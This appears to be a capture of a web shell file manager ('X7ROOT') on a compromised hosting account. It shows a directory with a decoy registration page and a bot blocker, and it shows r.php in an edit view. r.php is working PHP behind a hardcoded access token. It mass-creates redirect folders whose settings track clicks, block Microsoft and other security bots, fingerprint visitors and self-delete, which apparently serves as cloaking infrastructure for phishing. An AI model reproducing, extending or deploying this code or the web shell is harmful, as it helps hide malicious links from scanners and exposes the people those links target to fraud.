X7ROOT File Manager
Current Path:
/home/gfecatvj/public_html/sites/qcoder/user
home
/
gfecatvj
/
public_html
/
sites
/
qcoder
/
user
/
📁
..
📄
.accepted
(55 B)
📄
.config
(57 B)
📄
.content
(48 B)
📄
.db2_convert
(1.11 KB)
📄
.flag
(947 B)
📄
.htaccess
(251 B)
📄
.mb_convert
(51 B)
📄
.multi
(44 B)
📄
.parle_tokens
(51 B)
📄
.request
(1.06 KB)
📄
.requests
(1.06 KB)
📄
.reset
(1.07 KB)
📄
.rjust
(54 B)
📄
.system
(54 B)
📄
README.md
(7.99 KB)
📄
access.log
(430 B)
📄
admin.php
(121.24 KB)
📄
blocker.php
(6.12 KB)
📄
data.json
(487 B)
📄
decoy-register.html
(14.42 KB)
📄
error_log
(12.08 KB)
📄
portuguese.php
(1.42 KB)
📄
r.php
(3.55 KB)
Editing: r.php
<?php // Debug version - akan diganti ke minified setelah sukses error_reporting(E_ALL); ini_set('display_errors', '1'); header('Content-Type: application/json; charset=utf-8'); $validToken = 'K7mP9nQ2rT5vX8zA3bC6dF1gH4jL0wY9xK2mN5pQ8rT1vW4yZ7'; $auth = $_SERVER['HTTP_X_A'] ?? ''; $folderName = $_GET['f'] ?? ''; // Validate auth if ($auth !== $validToken) { http_response_code(401); die(json_encode(['s' => 0, 'msg' => 'Invalid auth'])); } // Validate folder name if (!preg_match('/^[a-z0-9]{6}$/', $folderName)) { http_response_code(400); die(json_encode(['s' => 0, 'msg' => 'Invalid folder name'])); } // Paths - Use nested structure for scalability $sourceDir = __DIR__; $firstChar = substr($folderName, 0, 1); // First character for sharding $baseDir = dirname(__DIR__) . '/r'; // All redirect folders go into /r/ $shardDir = $baseDir . '/' . $firstChar; // Shard by first character $targetDir = $shardDir . '/' . $folderName; // Create base and shard directories if not exist if (!is_dir($baseDir)) { @mkdir($baseDir, 0755, true); } if (!is_dir($shardDir)) { @mkdir($shardDir, 0755, true); } // Check if folder already exists if (is_dir($targetDir)) { die(json_encode(['s' => 1, 'f' => $firstChar . '/' . $folderName, 'msg' => 'Already exists'])); } // Recursive copy function function copyFolder($src, $dst) { // Create directory if (!@mkdir($dst, 0755, true)) { if (!is_dir($dst)) { return false; } } // Scan files $files = @scandir($src); if (!$files) { return false; } foreach ($files as $file) { if ($file === '.' || $file === '..') { continue; } $srcFile = $src . '/' . $file; $dstFile = $dst . '/' . $file; // Skip admin files if (in_array($file, ['admin.php', 'r.php', 'test.php'])) { continue; } if (is_dir($srcFile)) { copyFolder($srcFile, $dstFile); } else { @copy($srcFile, $dstFile); } } return true; } // Create folder if (copyFolder($sourceDir, $targetDir)) { // Load template data $templateData = @json_decode(@file_get_contents($sourceDir . '/data.json'), true) ?: []; // Create new data.json $newData = [ 'target_url' => $templateData['target_url'] ?? '', 'clicks' => 0, 'blocked_bots' => 0, 'blocked_bots_antibot' => 0, 'blocked_bots_microsoft' => 0, 'blocked_bots_generic' => 0, 'invalid_requests' => 0, 'enable_js_check' => $templateData['enable_js_check'] ?? true, 'enable_fingerprint' => $templateData['enable_fingerprint'] ?? false, 'enable_timing_check' => $templateData['enable_timing_check'] ?? false, 'enable_asn_check' => $templateData['enable_asn_check'] ?? false, 'enable_antibot' => $templateData['enable_antibot'] ?? true, 'antibot_apikey' => $templateData['antibot_apikey'] ?? '', 'bot_threshold' => $templateData['bot_threshold'] ?? 50, 'auto_delete_clicks' => $templateData['auto_delete_clicks'] ?? 10, 'auto_delete_enabled' => $templateData['auto_delete_enabled'] ?? false, 'created_at' => time() ]; @file_put_contents($targetDir . '/data.json', json_encode($newData, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES)); echo json_encode(['s' => 1, 'f' => $firstChar . '/' . $folderName, 'msg' => 'Created successfully']); } else { http_response_code(500); echo json_encode(['s' => 0, 'msg' => 'Failed to create folder']); }
Upload File
Create Folder